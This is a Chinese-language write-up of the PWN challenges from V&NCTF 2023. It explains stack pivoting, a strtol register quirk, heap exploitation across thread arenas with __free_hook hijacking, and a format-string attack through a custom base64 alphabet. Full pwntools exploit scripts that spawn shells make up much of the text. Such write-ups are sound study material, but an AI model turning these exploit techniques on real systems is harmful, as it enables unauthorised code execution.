V&NCTF 2023(Jeopardy) PWN

最后更新于 3 天前 2980 字 预计阅读时间: 14 分钟


Traveler

经典栈迁移

from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./traveler"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
    p=process(filename)
    gdb.attach(p,"b *0x401254")
else:
    p=remote("47.94.204.178" ,  39101)

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi_ret=0x00000000004012c3
pop_rsi_r15_ret=0x00000000004012c1
p.recvuntil(b"who r u?")
p.send(b"a"*0x20+p64(0x404800)+p64(0x401216))
p.recvuntil(b"How many travels can a person have in his life?")
p.sendline(b"a")
p.send(p64(pop_rdi_ret)+p64(0x4047f8)+p64(elf.sym["system"])+b"/bin/sh\x00"+p64(0x404800-0x20-8)+p64(0x401253))
p.recvuntil(b"How many travels can a person have in his life?")
p.sendline(b"a")
p.interactive()

store in tongxunlu

ubuntu20.04下的strtol函数在遇到\x00后会将后面的字符串地址保留在rdi中导致输入59\x00/bin/sh\x00会赋值给rax=0x3b,rdi=&binsh,栈溢出至syscall即可。

from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64
from LibcSearcher import *
filename="./xxx"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
    p=process(filename)
    gdb.attach(p,"b *$rebase(0x96D)")
else:
    p=remote("47.94.204.178" ,  39101)


libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi=0x0000000000000a13
pop_rsi_r15=0x0000000000000a11
p.recvuntil(b"if you give me your number,i will give you some hao_kang_de")
payload=b"59\x00"
payload=payload.ljust(0x38)+p16(0x899)
p.send(payload)
p.recvuntil(b"heyhey , hao_kang_de is ")
stack=int(p.recv(12),16)
print(hex(stack))
p.recvuntil(b"anything want to say?")
p.send(b"a")
p.interactive()

escape_langlang_mountain

内核pwn喵,没学到,放置ing

鼠鼠的奇妙冒险

好长的代码喵,审了一天,漏洞点在于fight函数存在uaf+edit 2byte

但是想要进入这个分支则需要b->type=6只有dummy地牢才存在这种类型的怪物

需要进入dummy则需要在商店购买book3才能进入,book3需要0x114514💴才能买到,正常流程不可能打这么多

注意到useItemImpl函数中存在off by one,实际的bug才有8个,而循环的9次。

在item结构体中

  • name --->qword
  • attr ---->dword
  • count---->dword

如果多一次循环则id+type会被视为name,hp会被视为attr,atk会被视为count

这个if表示该物品无效,不会进入到正常的使用流程,但是仍然count仍然会减1

 if ( (_this->bag[i].attr & 1) != 0 )
      {
        if ( !_this->bag[i].count )
        {
          puts("[God] You don't have that.");
          return;
        }
        if ( !strcmp(obj, "nameTag") )
        {
          ......................................
      }
      printf("[God] you used %s, leave %u.\n", _this->bag[i].name, --_this->bag[i].count);

我们只需要控制血量使其不进入正常使用,让atk一直减直到变成负数就可以打败arena第三层得到大量金币购买book3。

先打架把血量变成1后找到自己的chunk记好id+type并不断使用。

for x in range(3):
    fight(1)
for x in range(11):
    use(p32(1)+p32(1))

进入dummyArena后会启用线程

线程堆是调用mmap在高地址创建出一个与64MB对齐的区域,与main_arena分开,导致我们无法利用uaf+edit。

但是当前线程>CPU核心数*8时线程会复用main_arena,导致可以利用漏洞

在线程销毁时会调用tcache_thread_shutdown来free掉当前线程中tcache entries中的堆块,使其进入main_arena实现复用,如0xd0的线程chunk,当线程销毁时会进入主函数的main_arena中。我们可以在第17个线程(复用main_arena)利用这两字节的edit来指向我们自己的堆块,线程销毁后,我们的堆块会进入unsorted bin中,此时status会得到libc地址。

正常的的fight会使用我们自己的堆块,结束后会free掉,导致我们自己的堆块进入tcache bin中,用改名卡劫持free_hook即可。

值得注意的是edit 2byte时我们的name不能有值,故刚开始的时候我们输入\x00*0x10即可

p.recvuntil(b"my name is:")
p.sendline(p64(0))

虚拟机设置CPU核心为2,启用17个线程即可复用main_arena,并将我们自己的chunk加入tcache entries中

fight(0)
p.recvuntil(b"[God] how many dummies do you want to summon?")
p.sendline(b"17")
p.recvuntil(b"[God] sure?(y/N)")
p.sendline(b"y")
p.recvuntil(b"[God] dummy0016 is spanned at the position: (")
low=int(p.recvuntil(b", ",drop=True)[-10:],10)^ 0xBAAD
print(low)
middle=int(p.recvuntil(b", ",drop=True)[-10:],10)^ 0xBAAD
print(middle)
high=int(p.recvuntil(b")",drop=True)[-10:],10)^ 0xBAAD
print(high)
heap_base=(high<<(8*4)|middle<<(8*2)|low)-0xd2c0
print(hex(heap_base))
print(hex(eee_addr)+"-------------"+hex(heap_base+0xd2c0))
assert (eee_addr)>>16==(heap_base+0xd2c0)>>16
for x in range(17):
    p.recvuntil(b"[lost mouse]")
    content=p.recv()
    print(content)
    if b"[dummy0016]" in content:
        p.sendline(b"y")
        p.recvuntil(b"I only remember that my name has 2 characters.")
        p.send(p16((eee_addr)&0xffff))
        break
    else:
        p.sendline(b"n")
for x in range(17):
    p.sendline(b"n")

泄露地址并继续战斗会把我们自己的chunk加入main_arena的tcache bin中用改名卡劫持free_hook即可

status()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1f2be0+0x6000
__free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
p.recvuntil(b"Your choice:")
p.sendline(b"3")
fight(2)
fight(2)
fight(2)
use(b"nameTag")
p.recvuntil(b"[God] tell me your name: ")
p.sendline(p64(__free_hook))
for x in range(2):
    remake()
use(b"nameTag")
p.recvuntil(b"[God] tell me your name: ")
p.sendline(p64(system))
remake()
use(b"nameTag")
p.recvuntil(b"[God] tell me your name: ")
p.sendline(b"/bin/sh\x0a")
exit()
gdb.attach(p)
p.interactive()

完整exp

from pwn import *
from pwn import p64,p32,u64,u32
from struct import pack
context(os="linux",log_level="debug")
import os,base64,struct
from ctypes import  *
filename="./rats"
os.system(f'chmod 777 ./{filename}')
elf=ELF(filename)
context.arch=elf.arch
debug=1
if debug:
    p=process(filename)
    #gdb.attach(p,"b *$rebase(0x3F12)\n"+"c\n"*16)
else:
    p=remote("39.107.58.236" ,  49848)
from pwn import *
def status():
    p.recvuntil(b"Your choice:")
    p.sendline(b"3")


def use(name):
    status()
    p.recvuntil(b"Your choice:")
    p.sendline(b"1")
    p.recvuntil(b"use?")
    p.sendline(name)

def fight(level):
    p.recvuntil(b"Your choice:")
    p.sendline(b"1")
    p.recvuntil(b"Your choice:")
    p.sendline(str(level).encode())

def buy(name):
    p.recvuntil(b"Your choice:")
    p.sendline(b"2")
    p.recvuntil(b"I want a")
    p.sendline(name)


def remake():
    p.recvuntil(b"Your choice:")
    p.sendline(b"4")

def exit():
    p.recvuntil(b"Your choice:")
    p.sendline(b"5")

libc=ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so")
p.sendline()
p.recvuntil(b"my name is:")
p.sendline(p64(0))
p.recvuntil(b": (")
low=int(p.recvuntil(b", ",drop=True)[-10:],10)^ 0xBAAD
print(low)
middle=int(p.recvuntil(b", ",drop=True)[-10:],10)^ 0xBAAD
print(middle)
high=int(p.recvuntil(b")",drop=True)[-10:],10)^ 0xBAAD
print(high)
eee_addr=(high<<(8*4)|middle<<(8*2)|low)
print(hex(eee_addr))
for x in range(3):
    fight(1)
for x in range(11):
    use(p32(1)+p32(1))
for x in range(3):
    fight(3)
buy(b"book3")
buy(b"nameTag")
buy(b"nameTag")
use(b"book3")
fight(0)
p.recvuntil(b"[God] how many dummies do you want to summon?")
p.sendline(b"17")
p.recvuntil(b"[God] sure?(y/N)")
p.sendline(b"y")
p.recvuntil(b"[God] dummy0016 is spanned at the position: (")
low=int(p.recvuntil(b", ",drop=True)[-10:],10)^ 0xBAAD
print(low)
middle=int(p.recvuntil(b", ",drop=True)[-10:],10)^ 0xBAAD
print(middle)
high=int(p.recvuntil(b")",drop=True)[-10:],10)^ 0xBAAD
print(high)
heap_base=(high<<(8*4)|middle<<(8*2)|low)-0xd2c0
print(hex(heap_base))
print(hex(eee_addr)+"-------------"+hex(heap_base+0xd2c0))
assert (eee_addr)>>16==(heap_base+0xd2c0)>>16
for x in range(17):
    p.recvuntil(b"[lost mouse]")
    content=p.recv()
    print(content)
    if b"[dummy0016]" in content:
        p.sendline(b"y")
        p.recvuntil(b"I only remember that my name has 2 characters.")
        p.send(p16((eee_addr)&0xffff))
        break
    else:
        p.sendline(b"n")
for x in range(17):
    p.sendline(b"n")
status()
libc_base=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1f2be0+0x6000
__free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
print(hex(libc_base))
p.recvuntil(b"Your choice:")
p.sendline(b"3")
fight(2)
fight(2)
fight(2)
use(b"nameTag")
p.recvuntil(b"[God] tell me your name: ")
p.sendline(p64(__free_hook))
for x in range(2):
    remake()
use(b"nameTag")
p.recvuntil(b"[God] tell me your name: ")
p.sendline(p64(system))
remake()
use(b"nameTag")
p.recvuntil(b"[God] tell me your name: ")
p.sendline(b"/bin/sh\x0a")
exit()
gdb.attach(p)
p.interactive()

hf

看似堆题实则格式字符串

保护全开,不能修改got表,不能劫持返回地址,但是是libc2.33,存在hook函数。首先输入数据,判断输入的数据长度是否为4的倍数。我再看到3/4的时候就猜到应该是和base64有关的,但是码表被修改了。

如何找base64码表

使用dprintf

dprintf是pwndbg中的一个命令,可以在指定地址下断点并执行格式字符串打印。码表在该函数中查找

都会调用这个函数返回码表的值

我们可以在这个地址使用dprintf ,因为在该地址处eax已经异或完,是码表的值

dprintf *$rebase(0x2E90),"%c",$rax

以上命令是在imagbase+0x2E90的地方下断点并在此处打印rax的值为字符。注意要想得到完整的码表必须输入码表最后一个值,不然会不完全。

最后一个值为l,我们输入llll即可我们就得到了码表,因为每个字符都寻找了一遍,所以输出了四组码表

ZQLRThHd0Ee;nIPgjrmN$%4bD2G7C3tXWqBVo8aKfMys9wA5iU6Fzv1YckuxpJSl

这种方法可以在base64_decode和base64_encode中使用,但是要求程序必须是按序查找码表

按序输入

这种方法只能在base64_encode使用,但是该方法不必要求程序必须是按序查找码表的。

我们知道base64是将三字节转换为四字节,每个编码都占6位。

假设我们输入二进制的

000001 000010 0000011 ............111111

在编码过程中就会生成完整的码表,如何生成以上的数据,我们只需要base64_decode原码表即可,即

base64_decode("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/")

在往堆中输入数据的base64_encode中查找码表的方式是二分法不能使用dprintf

我们输入

add(0,base64.b64decode("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"))

即可

WtAzT1X8%0lpNSKucoVxeviFjbJ9hrqGLBwydYEMk26f;IaCnP4Q57ZHDmg3RsU$

exp

我选择劫持__free_hook,泄露栈上地址并且将其改为__free_hook的地址,并写入system

将__free_hook写入system后会进行一次free,我们在格式字符串前加上“;;;;;sh;”即可,为什么不用/bin/sh\x00因为码表里没有“/”

完整exp

from LibcSearcher import LibcSearcher
from pwn import *
from pwn import p64,p32,u64,u32

from base64_replace import  *

context(os="linux",log_level="debug")
import os,base64,re
filename="./hf"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=1
if debug:
    p=process(filename)
    #gdb.attach(p, 'b *$rebase(0x4607)\nc')
else:
    p=remote("39.107.248.198" ,  24766)

def b64_encode(input):
    change=b"ZQLRThHd0Ee;nIPgjrmN$%4bD2G7C3tXWqBVo8aKfMys9wA5iU6Fzv1YckuxpJSl"
    raw = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    table=bytes.maketrans(raw,change)
    result=base64.b64encode(input)
    result=result.translate(table)
    return result

def b64_decode(input):
    pad=len(input)%4
    if pad:
        input+=b"0"*(4-pad)
    change=b"WtAzT1X8%0lpNSKucoVxeviFjbJ9hrqGLBwydYEMk26f;IaCnP4Q57ZHDmg3RsU$"
    raw = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    table = bytes.maketrans(change, raw)
    input=input.translate(table)
    result = base64.b64decode(input)
    return result

def add(index,content=b"aaaa"):
    p.sendline(b64_encode(p32(1) + p32(index)+p32(len(content))+b64_decode(content)))
    sleep(0.5)


def show(index):
    payload=p32(3) + p32(index)
    pad=len(payload)//3
    payload=payload.ljust((pad+1)*3,b"\x00")
    p.sendline(b64_encode(payload))
    sleep(0.5)


libc=ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")

"""
opt 0
index 4
len(content) 8
content 12
"""
add(0,b"%23$pa%10$pa")
show(0)
p.recvuntil(b"0x")
libc_base=int(p.recv(12),16)-0x29d90
p.recvuntil(b"0x")
stack=int(p.recv(12),16)
print(hex(libc_base))
print(hex(stack))
__free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
high=(system>>32)&0xffff
mid=(system>>16)&0xffff
low=(system)&0xffff
pause()
add(1,b"%"+str((stack+0x38-3)&0xffff).encode()+b"c%27$hn")
pause()
show(1)
pause()
add(2,b"%"+str((__free_hook-3)&0xffff).encode()+b"c%57$hn")
pause()
show(2)
pause()
add(3,b"%"+str((stack+0x38-3+2)&0xffff).encode()+b"c%27$hn")
pause()
show(3)
pause()
add(4,b"%"+str(((__free_hook>>16)&0xffff)-3).encode()+b"c%57$hn")
pause()
show(4)
pause()
add(5,b"%"+str((stack+0x38-3)&0xffff).encode()+b"c%10$hn")
pause()
show(5)
pause()
add(6,b"%"+str((stack+0x38-3+2+2)&0xffff).encode()+b"c%45$hn")
pause()
show(6)
pause()
if mid<low:
    add(6,b";;;;;;sh;"+b"%"+str(high-3-8).encode()+b"c%59$hn"+b"%"+str(mid-3-high-8).encode()+b"c%57$hn"+b"%"+str(low-high-3-mid-8).encode()+b"c%16$hn")
else:
    add(6,b";;;;;;sh;"+ b"%" + str(high - 3-8).encode() + b"c%59$hn" + b"%" + str(low - high - 3-8).encode() + b"c%16$hn"+ b"%" + str(mid - 3 - high-low-8).encode() + b"c%57$hn" )
pause()
show(6)
#gdb.attach(p)
p.interactive()

其实也可以在泄露程序基址后再bss段上写rop,存在gadget可以控制rsp,改printf的返回地址即可。

此作者没有提供个人介绍。
最后更新于 2025-05-06